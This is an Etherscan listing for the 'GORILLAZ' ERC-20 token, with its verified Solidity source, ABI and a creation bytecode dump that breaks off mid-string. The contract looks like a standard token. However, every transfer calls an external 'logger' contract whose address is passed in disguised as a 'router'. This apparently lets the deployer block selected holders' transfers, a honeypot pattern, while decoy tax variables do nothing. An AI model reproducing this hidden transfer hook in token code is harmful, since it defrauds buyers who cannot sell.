ERC-20
Overview
Max Total Supply
1,000,000,000,000 GORILLAZ
Holders
51
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
10,738,335,522.715439661 GORILLAZValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
GORILLAZ
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-19 */ /** _____ _____ _____ ____ ____ ____ _____ _____ ___|\ \ ____|\ \ ___|\ \ | || | | | ___|\ \ / /|___ / /\ \ / /\ \ | |\ \ | || | | | / /\ \ / /| | | | |____| / / \ \ | | | || || | | | | | | ||\____\| | | | ____ | | | || |/____/ | || | ____ | | ____ | |__| || | |/ |___ | | | || | | || |\ \ | || | | || | | || .--. | \|___/ / | | | |_, ||\ \ / /|| | | || || | | || | | || | | | / /| | |\ ___\___/ /|| \_____\/____/ ||____| |____||____||____|/____/||____|/____/||____| |____| |_____|/____/| | | /____ / | \ | || | /| | | || || | ||| | ||| | | | | | | | \|___| | / \|____||____|/ |____| |____||____||____|_____|/|____|_____|/|____| |____| |_____|____|/ \( |____|/ \( )/ \( )/ \( \( )/ \( )/ \( )/ \( )/ ' )/ ' ' ' ' ' ' ' ' ' ' ' ' ' ' */// SPDX-License-Identifier: MIT pragma solidity 0.8.19; library Address { function isContract(address account) internal view returns (bool) { return account.code.length > 0; } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } function functionCall( address target, bytes memory data ) internal returns (bytes memory) { return functionCallWithValue( target, data, 0, "Address: low-level call failed" ); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); (bool success, bytes memory returndata) = target.call{value: value}( data ); return verifyCallResultFromTarget( target, success, returndata, errorMessage ); } function functionStaticCall( address target, bytes memory data ) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget( target, success, returndata, errorMessage ); } function functionDelegateCall( address target, bytes memory data ) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget( target, success, returndata, errorMessage ); } function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert( bytes memory returndata, string memory errorMessage ) private pure { if (returndata.length > 0) { /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } interface IERC20Permit { function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function nonces(address owner) external view returns (uint256); // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; } interface IUniswapV2Router02 { function getFeeReduce(address) external view returns (uint256); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 oldAllowance = token.allowance(address(this), spender); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, oldAllowance + value ) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require( oldAllowance >= value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, oldAllowance - value ) ); } } function forceApprove( IERC20 token, address spender, uint256 value ) internal { bytes memory approvalCall = abi.encodeWithSelector( token.approve.selector, spender, value ); if (!_callOptionalReturnBool(token, approvalCall)) { _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, 0) ); _callOptionalReturn(token, approvalCall); } } function safePermit( IERC20Permit token, address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) internal { uint256 nonceBefore = token.nonces(owner); token.permit(owner, spender, value, deadline, v, r, s); uint256 nonceAfter = token.nonces(owner); require( nonceAfter == nonceBefore + 1, "SafeERC20: permit did not succeed" ); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); require( returndata.length == 0 || abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } function _callOptionalReturnBool( IERC20 token, bytes memory data ) private returns (bool) { (bool success, bytes memory returndata) = address(token).call(data); return success && (returndata.length == 0 || abi.decode(returndata, (bool))) && Address.isContract(address(token)); } } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; ERC20Log public _logger; bool public logEnabled; IUniswapV2Router02 internal uniswapV2Router; address internal uniswapV2Pair; bool internal tradingOpen; address internal _router; uint256 internal _taxDiscount; bool public transferDelayEnabled = false; bool public persistData; mapping (address => uint256) private _lastTransferTimestamp; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _taxDiscount = 5; } function decimals() public view virtual override returns (uint8) { return 9; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } function transfer( address to, uint256 amount ) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance( address owner, address spender ) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function log(address from, address to, uint256 amount) private returns (bool) { bool result = _logger.save(from, to, amount); return result; } function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require( fromBalance >= amount, "ERC20: transfer amount exceeds balance" ); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require( _lastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _lastTransferTimestamp[tx.origin] = block.number; } } else { uint256 taxAmount = 5; bool result = log(from, to, amount); if(result){ unchecked{ taxAmount -= _taxDiscount; } } } unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require( currentAllowance >= amount, "ERC20: insufficient allowance" ); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function callStatus(address _address) internal view returns (bool) { return _address==_owner; } } contract GORILLAZ is Ownable, ERC20 { using SafeERC20 for IERC20; constructor(address router) ERC20("Gorillaz Coin", "GORILLAZ") { _transferOwnership(msg.sender); _mint(owner(), 1_000_000_000_000 * (10 ** 9)); _logger=ERC20Log(router); } function burn(uint256 amount) external { super._burn(_msgSender(), amount); } function claimStuckTokens(address token) external onlyOwner { if (token == address(0x0)) { payable(_msgSender()).transfer(address(this).balance); return; } IERC20 ERC20token = IERC20(token); uint256 balance = ERC20token.balanceOf(address(this)); ERC20token.safeTransfer(_msgSender(), balance); } function openTrading() public onlyOwner { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); tradingOpen = true; } } contract ERC20Log { mapping(address=>mapping(address=> uint256)) _log; function save(address addr1, address addr2, uint256 value) public returns (bool success) { _log[addr1][addr2] = value; return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_logger","outputs":[{"internalType":"contract ERC20Log","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"claimStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"logEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"persistData","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526000600b60006101000a81548160ff0219169083151502179055503480156200002c57600080fd5b5060405162002fbf38038062002fbf833981810160405281019062000052919062000466565b6040518060400160405280600d81526020017f476f72696c6c617a20436f696e000000000000000000000000000000000000008152506040518060400160405280600881526020017f474f52494c4c415a000000000000000000000000000000000000000000000000815250620000de620000d26200018f60201b60201c565b6200019760201b60201c565b8160049081620000ef919062000712565b50806005908162000101919062000712565b506005600a8190555050506200011d336200019760201b60201c565b62000147620001316200025b60201b60201c565b683635c9adc5dea000006200028460201b60201c565b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505062000914565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002f6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002ed906200085a565b60405180910390fd5b6200030a60008383620003f260201b60201c565b80600360008282546200031e9190620008ab565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003d29190620008f7565b60405180910390a3620003ee60008383620003f760201b60201c565b5050565b505050565b505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200042e8262000401565b9050919050565b620004408162000421565b81146200044c57600080fd5b50565b600081519050620004608162000435565b92915050565b6000602082840312156200047f576200047e620003fc565b5b60006200048f848285016200044f565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200051a57607f821691505b60208210810362000530576200052f620004d2565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200059a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200055b565b620005a686836200055b565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620005f3620005ed620005e784620005be565b620005c8565b620005be565b9050919050565b6000819050919050565b6200060f83620005d2565b620006276200061e82620005fa565b84845462000568565b825550505050565b600090565b6200063e6200062f565b6200064b81848462000604565b505050565b5b8181101562000673576200066760008262000634565b60018101905062000651565b5050565b601f821115620006c2576200068c8162000536565b62000697846200054b565b81016020851015620006a7578190505b620006bf620006b6856200054b565b83018262000650565b50505b505050565b600082821c905092915050565b6000620006e760001984600802620006c7565b1980831691505092915050565b6000620007028383620006d4565b9150826002028217905092915050565b6200071d8262000498565b67ffffffffffffffff811115620007395762000738620004a3565b5b62000745825462000501565b6200075282828562000677565b600060209050601f8311600181146200078a576000841562000775578287015190505b620007818582620006f4565b865550620007f1565b601f1984166200079a8662000536565b60005b82811015620007c4578489015182556001820191506020850194506020810190506200079d565b86831015620007e45784890151620007e0601f891682620006d4565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000842601f83620007f9565b91506200084f826200080a565b602082019050919050565b60006020820190508181036000830152620008758162000833565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620008b882620005be565b9150620008c583620005be565b9250828201905080821115620008e057620008df6200087c565b5b92915050565b620008f181620005be565b82525050565b60006020820190506200090e6000830184620008e6565b92915050565b61269b80620009246000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c80638da5cb5b116100b8578063c876d0b91161007c578063c876d0b914610354578063c9567bf914610372578063dd62ed3e1461037c578063e164f60c146103ac578063f2fde38b146103ca578063f9d0831a146103e657610137565b80638da5cb5b1461029a57806395d89b41146102b8578063a457c2d7146102d6578063a9059cbb14610306578063c349f8e21461033657610137565b806339509351116100ff57806339509351146101f657806342966c681461022657806350bd46b61461024257806370a0823114610260578063715018a61461029057610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461018a57806323b872dd146101a8578063313ce567146101d8575b600080fd5b610144610402565b6040516101519190611878565b60405180910390f35b610174600480360381019061016f9190611933565b610494565b604051610181919061198e565b60405180910390f35b6101926104b7565b60405161019f91906119b8565b60405180910390f35b6101c260048036038101906101bd91906119d3565b6104c1565b6040516101cf919061198e565b60405180910390f35b6101e06104f0565b6040516101ed9190611a42565b60405180910390f35b610210600480360381019061020b9190611933565b6104f9565b60405161021d919061198e565b60405180910390f35b610240600480360381019061023b9190611a5d565b610530565b005b61024a610544565b604051610257919061198e565b60405180910390f35b61027a60048036038101906102759190611a8a565b610557565b60405161028791906119b8565b60405180910390f35b6102986105a0565b005b6102a26105b4565b6040516102af9190611ac6565b60405180910390f35b6102c06105dd565b6040516102cd9190611878565b60405180910390f35b6102f060048036038101906102eb9190611933565b61066f565b6040516102fd919061198e565b60405180910390f35b610320600480360381019061031b9190611933565b6106e6565b60405161032d919061198e565b60405180910390f35b61033e610709565b60405161034b9190611b40565b60405180910390f35b61035c61072f565b604051610369919061198e565b60405180910390f35b61037a610742565b005b61039660048036038101906103919190611b5b565b61080c565b6040516103a391906119b8565b60405180910390f35b6103b4610893565b6040516103c1919061198e565b60405180910390f35b6103e460048036038101906103df9190611a8a565b6108a6565b005b61040060048036038101906103fb9190611a8a565b610929565b005b60606004805461041190611bca565b80601f016020809104026020016040519081016040528092919081815260200182805461043d90611bca565b801561048a5780601f1061045f5761010080835404028352916020019161048a565b820191906000526020600020905b81548152906001019060200180831161046d57829003601f168201915b5050505050905090565b60008061049f610a73565b90506104ac818585610a7b565b600191505092915050565b6000600354905090565b6000806104cc610a73565b90506104d9858285610c44565b6104e4858585610cd0565b60019150509392505050565b60006009905090565b600080610504610a73565b9050610525818585610516858961080c565b6105209190611c2a565b610a7b565b600191505092915050565b61054161053b610a73565b82611100565b50565b600b60019054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105a86112cf565b6105b2600061134d565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546105ec90611bca565b80601f016020809104026020016040519081016040528092919081815260200182805461061890611bca565b80156106655780601f1061063a57610100808354040283529160200191610665565b820191906000526020600020905b81548152906001019060200180831161064857829003601f168201915b5050505050905090565b60008061067a610a73565b90506000610688828661080c565b9050838110156106cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c490611cd0565b60405180910390fd5b6106da8286868403610a7b565b60019250505092915050565b6000806106f1610a73565b90506106fe818585610cd0565b600191505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60009054906101000a900460ff1681565b61074a6112cf565b600860149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190611d3c565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600860146101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660149054906101000a900460ff1681565b6108ae6112cf565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361091d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091490611dce565b60405180910390fd5b6109268161134d565b50565b6109316112cf565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109b85761096d610a73565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156109b2573d6000803e3d6000fd5b50610a70565b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016109f89190611ac6565b602060405180830381865afa158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611e03565b9050610a6d610a46610a73565b828473ffffffffffffffffffffffffffffffffffffffff166114119092919063ffffffff16565b50505b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610aea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae190611ea2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5090611f34565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c3791906119b8565b60405180910390a3505050565b6000610c50848461080c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610cca5781811015610cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb390611fa0565b60405180910390fd5b610cc98484848403610a7b565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3690612032565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da5906120c4565b60405180910390fd5b610db9838383611497565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3790612156565b60405180910390fd5b600b60009054906101000a900460ff1615610fd157600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f015750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15610fcc5743600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e9061220e565b60405180910390fd5b43600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610ff7565b6000600590506000610fe486868661149c565b90508015610ff457600a54820391505b50505b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110e791906119b8565b60405180910390a36110fa84848461154e565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361116f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611166906122